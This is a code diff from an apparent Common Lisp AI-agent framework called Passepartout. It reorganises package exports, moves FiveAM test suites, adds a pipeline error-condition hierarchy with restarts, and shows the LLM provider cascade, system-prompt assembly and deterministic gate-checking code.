(passepartout::undo-snapshot)
(setf (gethash "x" passepartout::*memory-store*) "hello")
(is (string= "hello" (gethash "x" passepartout::*memory-store*)))
(is (passepartout::undo))
(is (null (gethash "x" passepartout::*memory-store*))))
(setf passepartout::*memory-store* orig-store
passepartout::*undo-stack* orig-undo
passepartout::*redo-stack* orig-redo))))
(test test-undo-redo-cycle
"Contract v0.7.2: redo restores undone state."
(let ((orig-store passepartout::*memory-store*)
(orig-undo passepartout::*undo-stack*)
(orig-redo passepartout::*redo-stack*))
(unwind-protect
(progn
(setf passepartout::*memory-store* (make-hash-table :test 'equal)
passepartout::*undo-stack* nil
passepartout::*redo-stack* nil)
(passepartout::undo-snapshot)
(setf (gethash "y" passepartout::*memory-store*) "world")
(is (passepartout::undo))
(is (null (gethash "y" passepartout::*memory-store*)))
(is (passepartout::redo))
(is (string= "world" (gethash "y" passepartout::*memory-store*))))
(setf passepartout::*memory-store* orig-store
passepartout::*undo-stack* orig-undo
passepartout::*redo-stack* orig-redo))))
(test test-undo-empty-stack-nil
"Contract v0.7.2: undo returns nil on empty stack."
(let ((orig-undo passepartout::*undo-stack*))
(unwind-protect
(progn (setf passepartout::*undo-stack* nil)
(is (null (passepartout::undo))))
(setf passepartout::*undo-stack* orig-undo))))
(test test-audit-node-found
"Contract v0.7.2: audit-node returns info for existing object."
(clrhash passepartout::*memory-store*)
(setf (gethash "audit-1" passepartout::*memory-store*)
(passepartout::make-memory-object :id "audit-1" :type :HEADLINE
:version 1 :hash "abc123" :scope :memex))
(let ((info (passepartout::audit-node "audit-1")))
(is (not (null info)))
(is (eq :HEADLINE (getf info :type)))
(is (string= "abc123" (getf info :hash)))))
(test test-audit-node-not-found
"Contract v0.7.2: audit-node returns nil for nonexistent id."
(is (null (passepartout::audit-node "nonexistent-xxxx"))))
(test test-audit-verify-hash
"Contract v0.7.2: audit-verify-hash returns (total . missing)."
(clrhash passepartout::*memory-store*)
(setf (gethash "a" passepartout::*memory-store*)
(passepartout::make-memory-object :id "a" :type :HEADLINE :hash "abc"))
(let ((result (passepartout::audit-verify-hash)))
(is (= 1 (car result)))
(is (= 0 (cdr result)))))

300
lisp/core-package.lisp
View File

@@ -1,24 +1,38 @@
(defpackage :passepartout
(:use :cl)
(:export
;; ── Core: Transport & Protocol ──
#:frame-message
#:read-framed-message
#:PROTO-GET
#:proto-get
#:*VAULT-MEMORY*
#:PROTO-GET
#:proto-get
#:make-hello-message
#:validate-communication-protocol-schema
#:start-daemon
#:log-message
#:register-actuator
#:actuator-initialize
#:action-dispatch
;; ── Core: Pipeline ──
#:main
#:diagnostics-run-all
#:diagnostics-main
#:diagnostics-dependencies-check
#:diagnostics-env-check
#:register-provider
#:provider-openai-request
#:provider-config
#:run-setup-wizard
#:log-message
#:process-signal
#:loop-process
#:perceive-gate
#:loop-gate-perceive
#:act-gate
#:loop-gate-act
#:reason-gate
#:loop-gate-reason
#:cognitive-verify
#:backend-cascade-call
#:json-alist-to-plist
#:stimulus-inject
#:register-probabilistic-backend
#:*probabilistic-backends*
#:*provider-cascade*
;; ── Core: Memory ──
#:ingest-ast
#:memory-object-get
#:*memory-store*
@@ -35,6 +49,7 @@
#:memory-object-content
#:memory-object-hash
#:memory-object-scope
#:memory-objects-by-attribute
#:snapshot-memory
#:rollback-memory
#:undo-snapshot
@@ -42,10 +57,12 @@
#:redo
#:*undo-stack*
#:*redo-stack*
#:context-get-system-logs
#:context-assemble-global-awareness
#:context-awareness-assemble
#:context-query
;; ── Core: Context & Awareness ──
#:context-get-system-logs
#:context-assemble-global-awareness
#:context-awareness-assemble
#:context-query
#:push-context
#:pop-context
#:current-context
@@ -57,91 +74,25 @@
#:focus-session
#:focus-memex
#:unfocus
#:process-signal
#:loop-process
#:perceive-gate
#:loop-gate-perceive
#:act-gate
#:loop-gate-act
#:reason-gate
#:loop-gate-reason
#:cognitive-verify
#:backend-cascade-call
#:json-alist-to-plist
#:json-alist-to-plist
#:inject-stimulus
#:stimulus-inject
#:hitl-create
#:hitl-approve
#:hitl-deny
#:hitl-handle-message
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-check
#:dispatcher-gate
#:wildcard-match
#:actuator-initialize
#:action-dispatch
#:register-actuator
#:load-skill-from-org
#:skill-initialize-all
#:lisp-syntax-validate
#:defskill
#:*skill-registry*
#:*scope-resolver*
#:*embedding-backend*
#:*embedding-queue*
#:*embedding-provider*
#:embed-queue-object
#:embed-object
#:embed-all-pending
#:embedding-backend-hashing
#:embedding-backend-native
#:embedding-native-load-model
#:embedding-native-unload
#:embedding-native-ensure-loaded
#:embedding-native-get-dim
#:embeddings-compute
#:mark-vector-stale
#:skill
#:*scope-resolver*
;; ── Core: Skills Engine ──
#:skill
#:skill-name
#:skill-priority
#:skill-dependencies
#:skill-trigger-fn
#:skill-probabilistic-prompt
#:skill-deterministic-fn
#:defskill
#:*skill-registry*
#:skill-initialize-all
#:load-skill-from-org
#:lisp-syntax-validate
;; ── Core: Cognitive Tools ──
#:def-cognitive-tool
#:*cognitive-tool-registry*
#:org-read-file
#:org-write-file
#:org-headline-add
#:org-headline-find-by-id
#:literate-tangle-sync-check
#:archivist-create-note
#:gateway-start
#:org-property-set
#:org-todo-set
#:org-id-generate
#:org-id-format
#:org-modify
#:lisp-validate
#:lisp-structural-check
#:lisp-syntactic-check
#:lisp-semantic-check
#:lisp-eval
#:lisp-format
#:lisp-list-definitions
#:lisp-extract
#:lisp-inject
#:lisp-slurp
#:get-oc-config-dir
#:get-tool-permission
#:set-tool-permission
#:check-tool-permission-gate
#:permission-get
#:permission-set
#:cognitive-tool
#:cognitive-tool-name
#:cognitive-tool-description
@@ -149,53 +100,128 @@
#:cognitive-tool-guard
#:cognitive-tool-body
#:tool-read-only-p
#:register-probabilistic-backend
#:*probabilistic-backends*
#:*provider-cascade*
#:vault-get
#:vault-set
#:vault-get-secret
#:vault-set-secret
#:memory-objects-by-attribute
#:channel-cli-input
#:repl-eval
#:repl-inspect
#:repl-list-vars
#:policy-compliance-check
#:validator-protocol-check
#:archivist-extract-headlines
#:archivist-headline-to-filename
#:literate-extract-lisp-blocks
#:literate-block-balance-check
#:gateway-registry-initialize
#:messaging-link
#:messaging-unlink
#:gateway-configured-p
#:count-tokens
#:model-token-ratio
#:token-cost
#:provider-token-cost
#:cost-track-call
#:cost-session-total
#:cost-session-calls
#:cost-by-provider
#:cost-session-reset
#:cost-format-budget-status
#:cost-track-backend-call
#:prompt-prefix-cached
#:context-assemble-cached
#:enforce-token-budget
#:token-economics-initialize))
;; ── Security: Dispatcher ──
#:dispatcher-check-secret-path
#:dispatcher-check-shell-safety
#:dispatcher-check-privacy-tags
#:dispatcher-check-network-exfil
#:dispatcher-check
#:dispatcher-gate
#:wildcard-match
;; ── Security: HITL ──
#:hitl-create
#:hitl-approve
#:hitl-deny
#:hitl-handle-message
;; ── Security: Vault & Permissions ──
#:*VAULT-MEMORY*
#:vault-get
#:vault-set
#:vault-get-secret
#:vault-set-secret
#:get-tool-permission
#:set-tool-permission
#:check-tool-permission-gate
#:permission-get
#:permission-set
#:policy-compliance-check
#:validator-protocol-check
;; ── Embedding ──
#:*embedding-backend*
#:*embedding-queue*
#:*embedding-provider*
#:embed-queue-object
#:embed-object
#:embed-all-pending
#:embedding-backend-hashing
#:embedding-backend-native
#:embedding-native-load-model
#:embedding-native-unload
#:embedding-native-ensure-loaded
#:embedding-native-get-dim
#:embeddings-compute
#:mark-vector-stale
;; ── Channels ──
#:channel-cli-input
#:gateway-start
#:gateway-registry-initialize
#:messaging-link
#:messaging-unlink
#:gateway-configured-p
;; ── Programming: Lisp ──
#:lisp-validate
#:lisp-structural-check
#:lisp-syntactic-check
#:lisp-semantic-check
#:lisp-eval
#:lisp-format
#:lisp-list-definitions
#:lisp-extract
#:lisp-inject
#:lisp-slurp
;; ── Programming: Org ──
#:org-read-file
#:org-write-file
#:org-headline-add
#:org-headline-find-by-id
#:org-property-set
#:org-todo-set
#:org-id-generate
#:org-id-format
#:org-modify
;; ── Programming: Literate & REPL ──
#:literate-tangle-sync-check
#:literate-extract-lisp-blocks
#:literate-block-balance-check
#:repl-eval
#:repl-inspect
#:repl-list-vars
;; ── Symbolic ──
#:archivist-create-note
#:archivist-extract-headlines
#:archivist-headline-to-filename
;; ── Diagnostics & Config ──
#:diagnostics-run-all
#:diagnostics-main
#:diagnostics-dependencies-check
#:diagnostics-env-check
#:get-oc-config-dir
#:run-setup-wizard
;; ── Providers ──
#:register-provider
#:provider-openai-request
#:provider-config
;; ── Token Economics ──
#:count-tokens
#:model-token-ratio
#:token-cost
#:provider-token-cost
#:cost-track-call
#:cost-session-total
#:cost-session-calls
#:cost-by-provider
#:cost-session-reset
#:cost-format-budget-status
#:cost-track-backend-call
#:prompt-prefix-cached
#:context-assemble-cached
#:enforce-token-budget
#:token-economics-initialize))
(in-package :passepartout)
(defun plist-get (plist key)
"Robust plist accessor — checks both :KEY and :key variants."
(let* ((s (string key))
(up (intern (string-upcase s) :keyword))
(dn (intern (string-downcase s) :keyword)))
(or (getf plist up) (getf plist dn))))
(defvar *log-buffer* nil)
(defvar *log-lock* (bordeaux-threads:make-lock "log-messages-lock"))
(defvar *log-limit* 100)

91
lisp/core-perceive.lisp
View File

@@ -1,3 +1,47 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-pipeline-perceive-tests
(:use :cl :fiveam :passepartout)
(:export #:pipeline-perceive-suite))
(in-package :passepartout-pipeline-perceive-tests)
(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
(in-suite pipeline-perceive-suite)
(test test-loop-gate-perceive
"Contract 1: :buffer-update ingests AST and sets :perceived status."
(clrhash passepartout::*memory-store*)
(let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
(result (loop-gate-perceive signal)))
(is (eq :perceived (getf result :status)))
(is (not (null (gethash "test-node" passepartout::*memory-store*))))))
(test test-depth-limiting
"Edge: depth 11 signals are rejected by the pipeline."
(let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
(is (null (process-signal runaway-signal)))))
(test test-loop-gate-perceive-unknown-sensor
"Contract 1: unknown sensors pass through and reach :perceived."
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
(result (loop-gate-perceive signal)))
(is (eq :perceived (getf result :status)))))
(test test-loop-gate-perceive-no-ast
"Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
(clrhash passepartout::*memory-store*)
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
(result (loop-gate-perceive signal)))
(is (eq :perceived (getf result :status)))))
(test test-depth-limiting-normal
"Contract 1: signals at normal depth pass through without rejection."
(let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
(is (not (eq :rejected (getf normal-signal :status)))
"Signal at normal depth should not be rejected")))
(in-package :passepartout)
(defvar *loop-interrupt* nil)
@@ -19,9 +63,6 @@
FN receives (signal) and returns T if consumed, nil to continue."
(setf (gethash sensor *pre-reason-handlers*) fn))
(defun inject-stimulus (raw-message &key stream (depth 0))
(stimulus-inject raw-message :stream stream :depth depth))
(defun stimulus-inject (raw-message &key stream (depth 0))
"Inject a raw message into the signal processing pipeline."
(let* ((payload (getf raw-message :payload))
@@ -116,47 +157,3 @@ FN receives (signal) and returns T if consumed, nil to continue."
(defun perceive-gate (signal)
(loop-gate-perceive signal))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-pipeline-perceive-tests
(:use :cl :fiveam :passepartout)
(:export #:pipeline-perceive-suite))
(in-package :passepartout-pipeline-perceive-tests)
(def-suite pipeline-perceive-suite :description "Test suite for Perceive pipeline")
(in-suite pipeline-perceive-suite)
(test test-loop-gate-perceive
"Contract 1: :buffer-update ingests AST and sets :perceived status."
(clrhash passepartout::*memory-store*)
(let* ((signal (list :type :EVENT :payload (list :sensor :buffer-update :ast (list :type :HEADLINE :properties (list :ID "test-node" :TITLE "Test") :contents nil))))
(result (loop-gate-perceive signal)))
(is (eq :perceived (getf result :status)))
(is (not (null (gethash "test-node" passepartout::*memory-store*))))))
(test test-depth-limiting
"Edge: depth 11 signals are rejected by the pipeline."
(let ((runaway-signal (list :type :EVENT :depth 11 :payload (list :sensor :heartbeat))))
(is (null (process-signal runaway-signal)))))
(test test-loop-gate-perceive-unknown-sensor
"Contract 1: unknown sensors pass through and reach :perceived."
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :custom-metric)))
(result (loop-gate-perceive signal)))
(is (eq :perceived (getf result :status)))))
(test test-loop-gate-perceive-no-ast
"Contract 1: :buffer-update without AST doesn't crash, reaches :perceived."
(clrhash passepartout::*memory-store*)
(let* ((signal (list :type :EVENT :depth 0 :payload (list :sensor :buffer-update)))
(result (loop-gate-perceive signal)))
(is (eq :perceived (getf result :status)))))
(test test-depth-limiting-normal
"Contract 1: signals at normal depth pass through without rejection."
(let ((normal-signal (list :type :EVENT :depth 5 :payload (list :sensor :heartbeat))))
(is (not (eq :rejected (getf normal-signal :status)))
"Signal at normal depth should not be rejected")))

175
lisp/core-pipeline.lisp
View File

@@ -1,5 +1,81 @@
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-immune-system-tests
(:use :cl :fiveam :passepartout)
(:export #:immune-suite))
(in-package :passepartout-immune-system-tests)
(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
(in-suite immune-suite)
(test loop-error-injection
"Contract 1: a crash in think/decide triggers :loop-error stimulus."
(clrhash passepartout::*skill-registry*)
(passepartout:defskill :evil-skill
:priority 100
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
:probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
:deterministic nil)
(passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
(let ((logs (if (fboundp 'passepartout::context-get-system-logs)
(passepartout:context-get-system-logs 20)
nil)))
(is (or (null logs) ; no log service available — degraded but not broken
(not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs)))))))
(test test-process-signal-normal-path
"Contract 1: a valid signal passes through the pipeline without crash."
(clrhash passepartout::*skill-registry*)
(handler-case
(let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
(process-signal signal)
(pass))
(error (c)
(fail "Pipeline crashed on normal signal: ~a" c))))
(test test-loop-process-returns-nil-on-deep
"Contract 1: depth > 10 returns nil from loop-process."
(let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
(is (null result))))
(in-package :passepartout)
(define-condition passepartout-error (error)
((message :initarg :message :reader error-message))
(:report (lambda (c s) (format s "Passepartout error: ~a" (error-message c))))
(:documentation "Root of the pipeline error hierarchy."))
(define-condition pipeline-error (passepartout-error)
((signal :initarg :signal :reader pipeline-error-signal :initform nil))
(:report (lambda (c s) (format s "Pipeline error: ~a" (error-message c))))
(:documentation "Any error during the Perceive→Reason→Act cycle."))
(define-condition llm-error (pipeline-error)
((provider :initarg :provider :reader llm-error-provider)
(cascade :initarg :cascade :reader llm-error-cascade :initform nil)
(attempt-count :initarg :attempt-count :reader llm-error-attempt-count :initform 0))
(:report (lambda (c s) (format s "LLM error (~a): ~a" (llm-error-provider c) (error-message c))))
(:documentation "LLM provider failure: timeout, cascade exhaustion, or API error."))
(define-condition gate-error (pipeline-error)
((gate-name :initarg :gate-name :reader gate-error-gate-name)
(rejected-action :initarg :rejected-action :reader gate-error-rejected-action))
(:report (lambda (c s) (format s "Gate ~a blocked action: ~a" (gate-error-gate-name c) (error-message c))))
(:documentation "Deterministic gate blocked a proposed action."))
(define-condition budget-error (pipeline-error)
((remaining :initarg :remaining :reader budget-error-remaining :initform 0.0)
(requested :initarg :requested :reader budget-error-requested :initform 0.0))
(:report (lambda (c s) (format s "Budget exhausted: $~,4f remaining, $~,4f requested" (budget-error-remaining c) (budget-error-requested c))))
(:documentation "Session budget cap has been reached."))
(define-condition protocol-error (passepartout-error)
((raw-message :initarg :raw-message :reader protocol-error-raw-message :initform nil))
(:report (lambda (c s) (format s "Protocol error: ~a" (error-message c))))
(:documentation "Malformed message, framing failure, or schema violation."))
(defvar *interrupt-flag* nil
"Atomic flag set by signal handlers to trigger graceful shutdown.")
@@ -23,27 +99,42 @@
(log-message "METABOLISM: Interrupted by shutdown signal.")
(return nil))
(handler-case
(progn
(setf current-signal (perceive-gate current-signal))
(setf current-signal (reason-gate current-signal))
(let ((feedback (act-gate current-signal)))
(if feedback
(progn
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
(setf current-signal feedback))
(setf current-signal nil))))
(error (c)
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
(unless (member sensor '(:loop-error :tool-error :syntax-error))
(log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
(rollback-memory 0))
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
(setf current-signal nil)
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth)))))))))))
(restart-case
(handler-bind
((pipeline-error (lambda (c)
(log-message "PIPELINE ERROR: ~a" (error-message c)))))
(handler-case
(progn
(setf current-signal (perceive-gate current-signal))
(setf current-signal (reason-gate current-signal))
(let ((feedback (act-gate current-signal)))
(if feedback
(progn
(unless (getf feedback :meta) (setf (getf feedback :meta) meta))
(setf current-signal feedback))
(setf current-signal nil))))
(error (c)
(let ((sensor (ignore-errors (getf (getf current-signal :payload) :sensor))))
(log-message "METABOLISM CRASH [~a]: ~a" (or sensor :unknown) c)
(unless (member sensor '(:loop-error :tool-error :syntax-error))
(log-message "CRITICAL ERROR: Initiating Micro-Rollback.")
(rollback-memory 0))
(if (or (> depth 2) (member sensor '(:loop-error :tool-error)))
(setf current-signal nil)
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message (format nil "~a" c) :depth depth))))))))
(skip-signal ()
:report "Drop the current signal and continue the loop."
(setf current-signal nil))
(use-fallback (text)
:report "Inject a canned response instead of the LLM result."
(setf current-signal
(list :type :EVENT :depth (1+ depth) :meta meta
:payload (list :sensor :loop-error :message text :depth depth))))
(abort-pipeline ()
:report "Terminate the cognitive cycle cleanly."
(return nil)))))))
(defun process-signal (signal)
(loop-process signal))
@@ -139,45 +230,3 @@
(when *shutdown-save-enabled* (save-memory-to-disk))
(return))
(sleep sleep-interval))))
(eval-when (:compile-toplevel :load-toplevel :execute)
(ql:quickload :fiveam :silent t))
(defpackage :passepartout-immune-system-tests
(:use :cl :fiveam :passepartout)
(:export #:immune-suite))
(in-package :passepartout-immune-system-tests)
(def-suite immune-suite :description "Verification of the Immune System (Core Error Hooks)")
(in-suite immune-suite)
(test loop-error-injection
"Contract 1: a crash in think/decide triggers :loop-error stimulus."
(clrhash passepartout::*skill-registry*)
(passepartout:defskill :evil-skill
:priority 100
:trigger (lambda (ctx) (eq (getf (getf ctx :payload) :sensor) :user-input))
:probabilistic (lambda (ctx) (declare (ignore ctx)) (error "CRITICAL BRAIN FAILURE"))
:deterministic nil)
(passepartout:loop-process '(:type :EVENT :payload (:sensor :user-input)))
(let ((logs (if (fboundp 'passepartout::context-get-system-logs)
(passepartout:context-get-system-logs 20)
nil)))
(is (or (null logs) ; no log service available — degraded but not broken
(not (null (find-if (lambda (line) (search "CRITICAL BRAIN FAILURE" line)) logs)))))))
(test test-process-signal-normal-path
"Contract 1: a valid signal passes through the pipeline without crash."
(clrhash passepartout::*skill-registry*)
(handler-case
(let ((signal (list :type :EVENT :depth 0 :payload (list :sensor :heartbeat))))
(process-signal signal)
(pass))
(error (c)
(fail "Pipeline crashed on normal signal: ~a" c))))
(test test-loop-process-returns-nil-on-deep
"Contract 1: depth > 10 returns nil from loop-process."
(let ((result (loop-process '(:type :EVENT :depth 11 :payload (:sensor :heartbeat)))))
(is (null result))))

645
lisp/core-reason.lisp
View File

@@ -1,311 +1,3 @@
(in-package :passepartout)
(defvar *probabilistic-backends* (make-hash-table :test 'equal)
"Maps provider keyword → handler function (prompt system-prompt &key model).")
(defun register-probabilistic-backend (name fn)
"Register FN as the handler for provider NAME."
(setf (gethash name *probabilistic-backends*) fn))
(defvar *backend-registry* (make-hash-table :test 'equal))
(defvar *provider-cascade* nil)
(defvar *model-selector* nil)
(defvar *consensus-enabled* nil)
(defun backend-register (name fn)
(setf (gethash name *backend-registry*) fn))
(defun backend-cascade-call (prompt &key
(system-prompt "You are the Probabilistic engine.")
(cascade nil)
(context nil)
tools)
(let ((backends (or cascade *provider-cascade*))
(result nil))
(dolist (backend backends (or result
(list :type :LOG
:payload (list :text "Neural Cascade Failure: All providers exhausted."))))
(let ((backend-fn (or (gethash backend *backend-registry*)
(gethash backend *probabilistic-backends*))))
(when backend-fn
(log-message "PROBABILISTIC: Attempting backend ~a..." backend)
(let* ((model (and *model-selector*
(funcall *model-selector* backend context)))
(skip (eq model :skip))
(r (unless skip
(apply backend-fn
(append (list prompt system-prompt :model model)
(when tools (list :tools tools)))))))
(when skip
(log-message "PROBABILISTIC: Skipping ~a (filtered)" backend))
(cond ((and (listp r) (eq (getf r :status) :success))
(let ((tool-calls (getf r :tool-calls)))
(if tool-calls
(return (list :status :success :tool-calls tool-calls))
(progn
(setf result (getf r :content))
(return result)))))
((stringp r)
(setf result r)
(return result))
(t
(log-message "PROBABILISTIC: Backend ~a failed: ~a"
backend (getf r :message))))))))))
(defun markdown-strip (text)
(if (and text (stringp text))
(let ((cleaned text))
(setf cleaned (cl-ppcre:regex-replace-all "^```[a-z]*\\n" cleaned ""))
(setf cleaned (cl-ppcre:regex-replace-all "\\n```$" cleaned ""))
(setf cleaned (cl-ppcre:regex-replace-all "```" cleaned ""))
(string-trim '(#\Space #\Newline #\Tab) cleaned))
text))
(defun plist-keywords-normalize (plist)
(when (listp plist)
(loop for (k v) on plist by #'cddr
collect (if (and (symbolp k) (not (keywordp k)))
(intern (string k) :keyword)
k)
collect v)))
;; v0.7.2: live config section for system prompt
(defun assemble-config-section ()
"Build the CONFIG section of the system prompt from live state."
(let ((provider-names "")
(context-window (if (and (boundp '*tokenizer-provider*) (fboundp 'tokenizer-context-limit))
(tokenizer-context-limit (symbol-value '*tokenizer-provider*))
8192))
(gate-count 10)
(rules-count 0))
(when (boundp '*provider-cascade*)
(setf provider-names
(format nil "~{~a~^, ~}"
(mapcar (lambda (p)
(handler-case (or (getf p :model) (getf p :provider) "")
(error () (princ-to-string p))))
(symbol-value '*provider-cascade*)))))
(when (boundp '*hitl-pending*)
(setf rules-count (hash-table-count (symbol-value '*hitl-pending*))))
(format nil "CONFIG: You are Passepartout v0.7.2. Provider: ~a. Context: ~d tokens. Security gates: ~d active. Rules learned: ~d. Documentation: USER_MANUAL.org."
(if (string= provider-names "") "default" provider-names)
context-window gate-count rules-count)))
(defun think (context)
;; v0.7.2: auto-snapshot at turn boundaries
(when (fboundp 'snapshot-memory)
(snapshot-memory))
(let* ((sensor (proto-get (proto-get context :payload) :sensor))
(active-skill (find-triggered-skill context))
(tool-belt (generate-tool-belt-prompt))
(reply-stream (proto-get context :reply-stream)) ; v0.7.1: streaming
(global-context (if (fboundp 'context-assemble-cached)
(context-assemble-cached context sensor)
(if (fboundp 'context-assemble-global-awareness)
(context-assemble-global-awareness)
"[Awareness skill not loaded]")))
(system-logs (if (fboundp 'context-get-system-logs)
(context-get-system-logs)
"[No system logs available]"))
(assistant-name (or (uiop:getenv "MEMEX_ASSISTANT") "Agent"))
(rejection-trace (proto-get (proto-get context :payload) :rejection-trace))
(prompt-generator (when active-skill (skill-probabilistic-prompt active-skill)))
(raw-prompt (if prompt-generator
(funcall prompt-generator context)
(let ((p (proto-get (proto-get context :payload) :text)))
(if (and p (stringp p)) p "Maintain metabolic stasis."))))
(reflection-feedback (if rejection-trace
(format nil "~%~%PREVIOUS PROPOSAL REJECTED: ~a" rejection-trace)
""))
(standing-mandates-text (let ((out ""))
(dolist (fn *standing-mandates*)
(let ((text (ignore-errors (funcall fn context))))
(when (and text (stringp text) (> (length text) 0))
(setf out (concatenate 'string out text (string #\Newline))))))
(when (> (length out) 0) out)))
(identity-content (if (fboundp 'agent-identity) ; v0.7.2: symbolic identity
(agent-identity)
""))
(config-section (if (fboundp 'assemble-config-section) ; v0.7.2: live config
(assemble-config-section)
""))
(time-section (if (fboundp 'sensor-time-duration) ; v0.6.0: temporal awareness
(format-time-for-llm
:session-duration-seconds (funcall (symbol-function 'session-duration)))
(if (fboundp 'format-time-for-llm)
(format-time-for-llm)
"")))
(system-prompt (if (fboundp 'prompt-prefix-cached)
;; v0.5.0: cached prefix with optional budget enforcement
(let* ((prefix (prompt-prefix-cached assistant-name identity-content
reflection-feedback
standing-mandates-text tool-belt)))
(if (fboundp 'enforce-token-budget)
(multiple-value-bind (pfx ctxt logs _ mandates)
(enforce-token-budget prefix global-context system-logs
raw-prompt standing-mandates-text)
(declare (ignore _))
(setf standing-mandates-text mandates)
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section pfx (or ctxt "") logs))
(format nil "~a~%~%~a~%~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section prefix (or global-context "") system-logs)))
;; Fallback when token-economics not loaded
(format nil "~a~%~%~a~%~%IDENTITY: ~a~a~a~a~%~%TOOLS:~%~a~%~%CONTEXT:~%~a~%~%LOGS:~%~a"
time-section config-section
assistant-name identity-content reflection-feedback
(if standing-mandates-text
(concatenate 'string (string #\Newline) standing-mandates-text)
"")
tool-belt (or global-context "") system-logs))))
(let* ((thought (if (and reply-stream (fboundp 'cascade-stream)) ; v0.7.1: streaming
(let ((acc (make-string-output-stream)))
(funcall 'cascade-stream raw-prompt system-prompt
(lambda (delta)
(when reply-stream
(format reply-stream "~a"
(frame-message (list :type :stream-chunk
:payload (list :text delta))))
(finish-output reply-stream))
(write-string delta acc)))
(get-output-stream-string acc))
(backend-cascade-call raw-prompt
:system-prompt system-prompt
:context context)))
(tool-calls (and (listp thought) (getf thought :tool-calls))))
;; v0.5.0: cost tracking after successful cascade
(when (and (fboundp 'cost-track-backend-call)
(stringp thought)
(or (null tool-calls)))
(ignore-errors
(cost-track-backend-call (first *provider-cascade*)
(format nil "~a~%~a" system-prompt raw-prompt)
thought)))
(if tool-calls
(let* ((first-call (car tool-calls))
(tool-name (getf first-call :name))
(args (getf first-call :arguments))
(args-plist (json-alist-to-plist args)))
(list :TYPE :REQUEST
:PAYLOAD (list* :TOOL tool-name
:ARGS args-plist
:EXPLANATION "Generated by function-calling engine.")))
(let* ((cleaned (if (and (listp thought) (getf thought :type))
(format nil "~a" (getf (getf thought :payload) :text))
(markdown-strip thought))))
(if (and cleaned (stringp cleaned) (> (length cleaned) 0) (or (char= (char cleaned 0) #\() (char= (char cleaned 0) #\[)))
(handler-case
(let ((parsed (let ((*read-eval* nil)) (read-from-string cleaned))))
(if (listp parsed)
(let ((normalized (plist-keywords-normalize parsed)))
;; Ensure explanation is present in the payload for policy gate
(let ((payload (proto-get normalized :payload)))
(if (and payload (proto-get payload :explanation))
normalized
(let ((new-payload (list* :EXPLANATION "Generated by the Probabilistic engine."
(if (listp payload) payload nil))))
(list* :PAYLOAD new-payload
(loop for (k v) on normalized by #'cddr
unless (eq k :PAYLOAD)
collect k collect v))))))
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
(error () (list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT cleaned :EXPLANATION "Generated by the Probabilistic engine."))))
(list :TYPE :REQUEST :PAYLOAD (list :ACTION :MESSAGE :TEXT (if (stringp cleaned) cleaned "No response") :EXPLANATION "Generated by the Probabilistic engine."))))))))
(defun json-alist-to-plist (alist)
"Convert a JSON alist to a keyword-prefixed plist."
(when (listp alist)
(loop for (key . value) in alist
append (list (intern (string-upcase (string key)) :keyword)
(if (listp value)
(if (consp (car value))
(json-alist-to-plist value)
value)
value)))))
(defun cognitive-verify (proposed-action context)
"Runs all registered deterministic gates against the proposed action,
sorted by priority (highest first). Returns a rejection plist or the action."
(let ((current-action (copy-tree proposed-action))
(approval-needed nil)
(approval-action nil)
(gates nil)
(gate-trace nil))
;; Collect gates sorted by priority (highest first)
(maphash (lambda (name skill)
(declare (ignore name))
(when (skill-deterministic-fn skill)
(push (cons (skill-priority skill) (cons (skill-name skill) (skill-deterministic-fn skill))) gates)))
*skill-registry*)
(setf gates (sort gates #'> :key #'car))
(dolist (gate-entry gates)
(let* ((gate-name (cadr gate-entry))
(result (funcall (cddr gate-entry) current-action context)))
(cond
((eq (getf result :level) :approval-required)
(push (list :gate (or gate-name (car gate-entry)) :result :approval) gate-trace)
(setf approval-needed t
approval-action (getf (getf result :payload) :action)))
((member (getf result :type) '(:LOG :EVENT))
(push (list :gate (or gate-name (car gate-entry)) :result :blocked) gate-trace)
(let ((blocked-result (copy-list result)))
(setf (getf blocked-result :gate-trace) (nreverse gate-trace))
(return-from cognitive-verify blocked-result)))
((and (listp result) result)
(push (list :gate (or gate-name (car gate-entry)) :result :passed) gate-trace)
(setf current-action result)))))
(if approval-needed
(list :type :EVENT :level :approval-required
:gate-trace (nreverse gate-trace)
:payload (list :sensor :approval-required
:action approval-action))
